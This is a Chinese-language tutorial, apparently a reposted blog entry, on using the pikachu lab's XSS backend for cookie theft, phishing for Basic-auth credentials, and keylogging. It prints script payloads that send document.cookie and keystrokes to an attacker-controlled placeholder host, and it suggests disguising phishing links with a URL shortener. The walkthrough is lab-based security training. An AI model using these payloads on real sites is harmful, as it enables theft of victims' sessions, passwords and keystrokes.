使用pikachu管理工具下的XSS后台进行实战

news2024/9/30 17:31:54

写在前面的重要提示:

Attention技术没有好坏之分,关键在于使用技术的人或组织。网络安全技术是一把双刃剑 – 作为网络安全人,虽然无法控制头上的帽子是否会变绿,但能控制不让它变黑;无论我们在物质上面对多大的诱惑或是面对多么艰难的窘境,精神上一定不要放弃最初成为顶级白帽的理想。一路走来,我们不一定能用自己所掌握的技术促进网络安全事业的进步与发展,但一定不要且不能站在网络安全事业发展的对立面。

Warning:本文仅限于技术交流,禁止一切利用本文涉及的技术进行违法犯罪活动。如有违者,后果自负。且笔者建议各位网络安全从业者,熟读且背诵我国网络安全相关法律法规,这也是对自己职业生涯负责的行为。

一:pikachu管理工具下的XSS后台简介

     pikachu管理工具下的XSS后台是一个通过Cookie窃取和利用、钓鱼攻击、键盘行为记录这三个实战型实验来帮助学习者理解XSS漏洞的原理和危害的一个平台。旨在帮助学习者在实战中深入理解理论,从而可以更好的防御XSS漏洞。

Xss后台登录页面:

                   

Xss后台主页面:

                

二:XSS后台的启动

方式一:直接进入pikachu靶场的管理工具模块 —> 进入XSS后台。(第一次使用需要先创建数据库)

方式二:XSS后台在pikachu靶场文件中是一个独立的文件:pkxss。若不想部署整个pikachu靶场,可以把pkxss文件单独部署在攻击主机中,单独搭建XSS后台。(如:笔者部署在虚拟机的PHPstudy中 – 部署方式和部署靶场一致,不了解的读者可以看笔者关于靶场部署的文章)

三:实战型实验演示

  • Cookie窃取

GET型:

原理图:

第一步:修改配置文件

1)进入pkxss目录找到xcookie,打开cookie.php文件修改配置。(E:\phpstudy_pro\WWW\Test\pkxss\xcookie\cookie.php)。

修改框中的URL:这个URL地址表示重定向到一个可信任的IP地址,换句话说就是被攻击者促发攻击代码受到攻击时页面跳转(刷新)至这个URL地址,这样做的目的是在攻击时造成的网页跳转可以减少甚至消除被攻击者的怀疑。(笔者将pikachu部署在本地的PHPstudy中:E:\phpstudy_pro\WWW\Test\pikachu-master,这个RUL的意思是:在受到攻击时,页面跳转到pikachu靶场的主页)。

第二步:构造攻击代码

1)构造一段获取cookie的攻击代码,并将代码通过XSS漏洞注入到被攻击主机可能浏览并存在XSS漏洞的站点,等待攻击成功。

这里为了帮助读者们理解,使用pikachu靶场的XSS存储型漏洞进行演示。

  1. 查看XSS平台下Cookie获取模块是否由历史数据。

(2)构造攻击代码:<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

(注意:攻击代码中http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php页面,代表当用户触发到攻击代码时,攻击代码运行收集到用户的Cookie,并将Cookie发送给这个URL页面。当然,这个URL是受攻击者控制的)

第三步:将代码通过输入框或网页URL注入到页面中

注意:由于注入框设置了字符输入限制,需要先打开代码调式工具(右击—>检查),将字符输入限制更改

第四步:查看记录

POST型:

              

原理:

     POST型和GET型基本原理大差不差,主要的不同在于参数的提交方式是表单提交,不能通过URL进行参数提交,因此攻击者无法通过URL的方式将恶意代码嵌入。所以,攻击者需要构造一个Form表单,当用户点击攻击者的表单连接,用户就替攻击者发送一个提交请求,之后的攻击步骤就和GET型一致了。

第一步:构造Form表单

1)修改配置

     修改pkxss目录下的文件: pkxss/xcookie/post.html

  1. 将用户服务器IP地址和文件路径填入白框:如:http://pikachu/pkxss/xcookie/pkxss_cookie_result.php
  2. 将攻击者所控制的机器IP和文件路径填入黄框:http://pikachu/pkxss/xcookie/cookie.php

第二步:登录页面,在攻击框内输入攻击代码(步骤和GET型一致):<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

     

第三步:查看攻击结果:

  • 钓鱼攻击

钓鱼攻击的思路:攻击者向用户端发送一个经过处理的链接请求,用户点击链接后会给攻击者提前搭建好的后台发出一个请求,后台收到请求后会返回一个身份信息验证的Basic头部给用户端,若用户安全意识不够,输入了敏感信息:用户名和密码。这些信息就会被发送到攻击者控制的XSS后台。

第一步:配置文件

     配置pkxss/xfish目录的fish.php文件:将图片红框中的信息配置为攻击者所控制的获取被攻击者信息的文件的后台地址:如:http://pikachu/pkxss/xfish/xfish.php(笔者本地pikachu XSS后台管理平台地址)

第二步:构造钓鱼攻击链接

注意:钓鱼的后台有个接口(xfish.php)获取远程的数据,通过get方式去获取账号密码存到库里。文件地址:pikachu/pkxss/xfish/xfish.php

构造一个可以访问攻击者所控制的后台并且能返回Basic认证的链接,也可以是a标签、img标签、script标签等。

注意:为了让构造的钓鱼链接不让被攻击者发现,可以使用相应的链接处理工具对链接进行处理。

链接处理平台:http://tools.jb51.net/password/dwzcreate

如:

链接1: http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php

平台处理之后:http://mrw.so/6oy3Hb

链接2:<img src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></img>

链接3:<script src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></script>

第三步:使用pikachu靶场测试

1)将构造的钓鱼链接嵌入pikachu靶场,点击提交,弹出输入框。

                                 

 2)输入用户名:北冥同学;密码:123456。点击登录。

第四步:查看后台结果

  • 获取键盘记录

获取键盘记录攻击原理:利用XSS漏洞将攻击代码注入到页面,当被攻击者访问该页面,其在该页面的任何操作将被记录,同时攻击代码将把记录发送至攻击者所控制的后台。

第一步:修改配置

1)将pikachu靶场文件目录下的pkxss/ rkeypress/rk.js。如图中红框中内容替换为攻击者所控制的获取被攻击者键盘记录的文件的后台地址。如:http://pikachu/pkxss/rkeypress/rkserver.php

2)修改rkserver.php文件(路径:pkxss/rkeypress/rkserver.php)。

       

将是否允许跨域访问设置为:所有。【关于浏览器跨域访问的知识分析,可查看笔者博文: 】

第二步:构造攻击代码

<script src= "http://xxx.xxx.xxx/Pikachu-master/pkxss/rkeypress/rk.js"></script>

第三步:利用pikachu靶场验证

    1.将攻击代码注入存在XSS漏洞的页面,等待被攻击者访问该页面。

                        

    2.被攻击用户访问该页面,并添加评论:北冥同学,触发攻击。

                                    

    3.进入XSS后台查看被攻击键盘记录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/807646.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cilium 系列-7-Cilium 的 NodePort 实现从 SNAT 改为 DSR

系列文章 Cilium 系列文章 前言 将 Kubernetes 的 CNI 从其他组件切换为 Cilium, 已经可以有效地提升网络的性能。但是通过对 Cilium 不同模式的切换/功能的启用&#xff0c;可以进一步提升 Cilium 的网络性能。具体调优项包括不限于&#xff1a; 启用本地路由 (Native Rou…

精读《自由布局吸附线的实现》

目录 判断 box 离哪条边最近 产生吸附效果 resize 时中间对齐线需要放大双倍吸附力 总结 自由布局吸附线的效果如下图所示&#xff1a; 那么如何实现吸附线呢&#xff1f;我们先归纳一下吸附线的特征&#xff1a; 正在拖动的 box 与其他 box 在水平或垂直位置距离接近时&am…

Spring之BeanDefinition(二)

Spring之BeanDefinition 文章目录 Spring之BeanDefinition1、对象和bean的区别2、BeanDefinition作用AutowireCandidate说明Primary说明ConstructorArgumentValues说明第一种使用方式第二种使用方式 MutablePropertyValuesabstract小结 3、BeanDefinition的发展历程3、BeanDefi…

RedHat7.9安装mysql8.0.32 ↝ 二进制方式

RedHat7.9安装mysql8.0.32 ↝ 二进制方式 一、rpm方式安装1、检查是否安装了mariadb2、下载mysqlmysql8.0.323、上传解压4、创建安装目录&#xff0c;拷贝解压后的文件至安装目录/usr/local/mysql8.0/5、创建相关目录&#xff0c;开始安装6、创建mysql组和用户7、更改安装目录归…

SpringAOP的相关概念

文章目录 一.什么是AOP二.AOP的组成部分三.SpringAOP的实现3.1 增加SpringAOP依赖3.2 创建切面3.2 创建切点3.3 创建通知3.4 创建连接点 四.SpringAOP的实现原理4.1 JDK动态代理4.2 CGLIB 动态代理总结 一.什么是AOP AOP&#xff0c;全称为Aspect-Oriented Programming&#x…

创建jupyterlab的快捷启动的一种方式

1、找Jupyter Notebook的快捷图标 首先&#xff0c;找到Jupyter Notebook的快捷图标&#xff0c;打开其文件位置。 2、复制Jupyter Notebook快捷方式 复制Jupyter Notebook的快捷方式 将复制Jupyter Notebook的快捷方式的这两处的Noetbook修改为lab。 如下图 3、找Jupy…

RocketMQ概论

目录 前言&#xff1a; 1.概述 2.下载安装、集群搭建 3.消息模型 4.如何保证吞吐量 4.1.消息存储 4.1.1顺序读写 4.1.2.异步刷盘 4.1.3.零拷贝 4.2.网络传输 前言&#xff1a; RocketMQ的代码示例在安装目录下有全套详细demo&#xff0c;所以本文不侧重于讲API这种死…

Git的常用命令以及使用场景

文章目录 1.前言2.工作区,暂存区,版本库简介3.Git的常用命令4.版本回退5.撤销修改6.删除文件7.总结 1.前言 在学习Git命令之前,需要先了解工作区,暂存区和版本库这三个概念 2.工作区,暂存区,版本库简介 在使用Git进行版本控制时&#xff0c;有三个重要的概念&#xff1a;工作…

day48-ajax+SSM分页

AjaxSSM分页 非分页版controller及html&#xff1a; 分页模糊查询controller&#xff1a; Postman测试&#xff08;无网页&#xff09;&#xff1a; 分页网页&#xff1a; 分页网页中添加模糊查询&#xff1a; 分页网页中实现添加功能&#xff1a; &#xff08;1&am…

VUE3-04

1. 编写代码过程中的问题与解决 1.1 错误&#xff1a;cant read property of undefined(name) &#xff08;1&#xff09;首先定位错误的位置 &#xff08;2&#xff09;逐一排查问题&#xff1a;注释代码&#xff1b;debugger&#xff1b;console.log &#xff08;3&#xff0…

10.Docker安全和https

文章目录 Docker安全Docker存在的安全问题Docker架构缺陷与安全机制Docker 安全基线标准Docker安全总结 HTTPSHTTPS访问过程生成证书方式openssL生成证书过程 Docker安全 容器的安全性问题的根源在于容器和宿主机共享内核。如果容器里的应用导致Linux内核崩溃&#xff0c;那么…

Spring Tool Suite 4

参考&#xff1a;Spring tool suite4 安装及配置_springtoolsuite4_猿界零零七的博客-CSDN博客 下载&#xff1a;Spring | Tools 将下载的JAR进行解压两次&#xff0c;直至解压出contents中的sts 双击启动 第一次打开需要指定工作区文件夹 配置Maven的config 安装插件

C++ new/delete的使用

1.虚拟地址空间 可执行程序&#xff08;进程&#xff09;的虚拟地址空间&#xff1a; 内核&#xff1a;操作系统 栈区&#xff1a;函数的形参&#xff0c;非静态的局部变量&#xff0c;函数现场保护数据等等&#xff0c;栈是向下增长的&#xff0c;栈顶是低地址&#xff0c;栈…

基于fpga_EP4CE6F17C8实现的呼吸灯

文章目录 前言实验手册&#xff08;EP4CE6F17C8&#xff09;一、实验目的二、实验原理理论原理 三、系统架构设计四、模块说明1&#xff0e;模块端口信号列表2&#xff0e;状态转移图3&#xff0e;时序图 五、仿真波形图六、引脚分配七、代码实现八、仿真代码九、板级验证效果 …

[CrackMe]damn.exe的逆向及注册机编写

1. 脱壳过程 这个crackme有2个文件 发现加了壳 先来脱壳, 使用ESP守恒, pushad后立马下硬件访问断点 F9直接运行, 立马到popad处 接着走几步就到了OEP 下面使用LordPE来转储映像, 为了防止别人修改PE中的ImageSize, 先尝试修正下ImageSize, 然后dump full即可 接着用x6…

《重构的时机和方法》——让你的代码更健壮、更易维护

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;独角兽企业的Java开发工程师&#xff0c;CSDN博客专家&#xff0c;阿里云专家博主&#x1f4d5;系列专栏&#xff1a;Java设计模式、Spring源码系列、Netty源码系列、Kafka源码系列、JUC源码…

简述IO(BIO NIO IO多路复用)

在unix网络变成中的五种IO模型: Blocking IO(阻塞IO) NoneBlocking IO (非阻塞IO) IO mulitplexing(IO多路复用) signal driven IO (信号驱动IO) asynchronous IO (异步IO) BIO BIO&#xff08;Blocking IO&#xff09;是一种阻塞IO模型&#xff0c;也是传统的IO操作模型之一…

不管如何吐槽,购买iPhone的用户依然义无反顾,苹果继续增长

市调机构IDC公布的二季度数据显示&#xff0c;苹果成为前五名之中除华为之外第二家取得增长的手机品牌&#xff0c;而其他国产手机品牌的出货量都在下滑&#xff0c;显示出国内的消费者仍然在热烈追捧iPhone。 二季度苹果在国内市场的手机出货量同比增长6%&#xff0c;虽然增速…

查看详细的退货信息!亚马逊在卖家中心推出新页面!

亚马逊欧洲站发布公告称亚马逊在卖家中心推出了一个新页面&#xff0c;为卖家提供详细的退货信息&#xff0c;以下是公告内容&#xff1a; 我们在卖家中心推出了一个新页面&#xff0c;为卖家提供详细的退货信息。 现在卖家可以查看每个退货订单&#xff0c;其中包含有关 ASI…

sky-notes-01

1、DTO类 DTO&#xff08;Data Transfer Object&#xff09;&#xff1a;数据传输对象&#xff0c;Service 或 Manager 向外传输的对象。 详见阿里巴巴Java开发手册中的DO、DTO、BO、AO、VO、POJO定义 当前端提交的数据和实体类中对应的属性差别比较大时&#xff0c;建议使用…